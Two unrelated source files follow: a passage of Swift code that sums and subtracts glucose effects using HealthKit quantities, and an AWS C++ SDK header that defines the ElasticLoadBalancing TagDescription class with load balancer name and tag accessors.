sums.reserveCapacity(self.count) var lastValidIndex = sums.startIndex for effect in reversed() { sums.append(GlucoseChange(startDate: effect.startDate, endDate: effect.endDate, quantity: effect.quantity)) for sumsIndex in lastValidIndex..<(sums.endIndex - 1) { guard sums[sumsIndex].endDate <= effect.endDate.addingTimeInterval(duration) else { lastValidIndex += 1 continue } sums[sumsIndex].append(effect) } } return sums.reversed() } } extension BidirectionalCollection where Element == GlucoseEffectVelocity { /// Subtracts an array of glucose effects with uniform intervals and no gaps from the collection of effect changes, which may not have uniform intervals. /// /// - Parameters: /// - otherEffects: The array of glucose effects to subtract /// - effectInterval: The time interval between elements in the otherEffects array /// - Returns: A resulting array of glucose effects public func subtracting(_ otherEffects: [GlucoseEffect], withUniformInterval effectInterval: TimeInterval) -> [GlucoseEffect] { // Trim both collections to match let otherEffects = otherEffects.filterDateRange(self.first?.endDate, nil) let effects = self.filterDateRange(otherEffects.first?.startDate, nil) var subtracted: [GlucoseEffect] = [] var previousOtherEffectValue = otherEffects.first?.quantity.doubleValue(for: .milligramsPerDeciliter) ?? 0 // mg/dL var effectIndex = effects.startIndex for otherEffect in otherEffects.dropFirst() { guard effectIndex < effects.endIndex else { break } let otherEffectValue = otherEffect.quantity.doubleValue(for: .milligramsPerDeciliter) let otherEffectChange = otherEffectValue - previousOtherEffectValue previousOtherEffectValue = otherEffectValue let effect = effects[effectIndex] // Our effect array may have gaps, or have longer segments than 5 minutes. guard effect.endDate <= otherEffect.endDate else { continue // Move on to the next other effect } effectIndex += 1 let effectValue = effect.quantity.doubleValue(for: GlucoseEffectVelocity.perSecondUnit) // mg/dL/s let effectValueMatchingOtherEffectInterval = effectValue * effectInterval // mg/dL subtracted.append(GlucoseEffect( startDate: effect.endDate, quantity: HKQuantity( unit: .milligramsPerDeciliter, doubleValue: effectValueMatchingOtherEffectInterval - otherEffectChange ) )) } // If we have run out of otherEffect items, we assume the otherEffectChange remains zero for effect in effects[effectIndex..<effects.endIndex] { let effectValue = effect.quantity.doubleValue(for: GlucoseEffectVelocity.perSecondUnit) // mg/dL/s let effectValueMatchingOtherEffectInterval = effectValue * effectInterval // mg/dL subtracted.append(GlucoseEffect( startDate: effect.endDate, quantity: HKQuantity( unit: .milligramsPerDeciliter, doubleValue: effectValueMatchingOtherEffectInterval ) )) } return subtracted } }
{ "pile_set_name": "Github" }
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #pragma once #include <aws/elasticloadbalancing/ElasticLoadBalancing_EXPORTS.h> #include <aws/core/utils/memory/stl/AWSStreamFwd.h> #include <aws/core/utils/memory/stl/AWSString.h> #include <aws/core/utils/memory/stl/AWSVector.h> #include <aws/elasticloadbalancing/model/Tag.h> #include <utility> namespace Aws { namespace Utils { namespace Xml { class XmlNode; } // namespace Xml } // namespace Utils namespace ElasticLoadBalancing { namespace Model { /** * <p>The tags associated with a load balancer.</p><p><h3>See Also:</h3> <a * href="http://docs.aws.amazon.com/goto/WebAPI/elasticloadbalancing-2012-06-01/TagDescription">AWS * API Reference</a></p> */ class AWS_ELASTICLOADBALANCING_API TagDescription { public: TagDescription(); TagDescription(const Aws::Utils::Xml::XmlNode& xmlNode); TagDescription& operator=(const Aws::Utils::Xml::XmlNode& xmlNode); void OutputToStream(Aws::OStream& ostream, const char* location, unsigned index, const char* locationValue) const; void OutputToStream(Aws::OStream& oStream, const char* location) const; /** * <p>The name of the load balancer.</p> */ inline const Aws::String& GetLoadBalancerName() const{ return m_loadBalancerName; } /** * <p>The name of the load balancer.</p> */ inline bool LoadBalancerNameHasBeenSet() const { return m_loadBalancerNameHasBeenSet; } /** * <p>The name of the load balancer.</p> */ inline void SetLoadBalancerName(const Aws::String& value) { m_loadBalancerNameHasBeenSet = true; m_loadBalancerName = value; } /** * <p>The name of the load balancer.</p> */ inline void SetLoadBalancerName(Aws::String&& value) { m_loadBalancerNameHasBeenSet = true; m_loadBalancerName = std::move(value); } /** * <p>The name of the load balancer.</p> */ inline void SetLoadBalancerName(const char* value) { m_loadBalancerNameHasBeenSet = true; m_loadBalancerName.assign(value); } /** * <p>The name of the load balancer.</p> */ inline TagDescription& WithLoadBalancerName(const Aws::String& value) { SetLoadBalancerName(value); return *this;} /** * <p>The name of the load balancer.</p> */ inline TagDescription& WithLoadBalancerName(Aws::String&& value) { SetLoadBalancerName(std::move(value)); return *this;} /** * <p>The name of the load balancer.</p> */ inline TagDescription& WithLoadBalancerName(const char* value) { SetLoadBalancerName(value); return *this;} /** * <p>The tags.</p> */ inline const Aws::Vector<Tag>& GetTags() const{ return m_tags; } /** * <p>The tags.</p> */ inline bool TagsHasBeenSet() const { return m_tagsHasBeenSet; } /** * <p>The tags.</p> */ inline void SetTags(const Aws::Vector<Tag>& value) { m_tagsHasBeenSet = true; m_tags = value; } /** * <p>The tags.</p> */ inline void SetTags(Aws::Vector<Tag>&& value) { m_tagsHasBeenSet = true; m_tags = std::move(value); } /** * <p>The tags.</p> */ inline TagDescription& WithTags(const Aws::Vector<Tag>& value) { SetTags(value); return *this;} /** * <p>The tags.</p> */ inline TagDescription& WithTags(Aws::Vector<Tag>&& value) { SetTags(std::move(value)); return *this;} /** * <p>The tags.</p> */ inline TagDescription& AddTags(const Tag& value) { m_tagsHasBeenSet = true; m_tags.push_back(value); return *this; } /** * <p>The tags.</p> */ inline TagDescription& AddTags(Tag&& value) { m_tagsHasBeenSet = true; m_tags.push_back(std::move(value)); return *this; } private: Aws::String m_loadBalancerName; bool m_loadBalancerNameHasBeenSet; Aws::Vector<Tag> m_tags; bool m_tagsHasBeenSet; }; } // namespace Model } // namespace ElasticLoadBalancing } // namespace Aws
{ "pile_set_name": "Github" }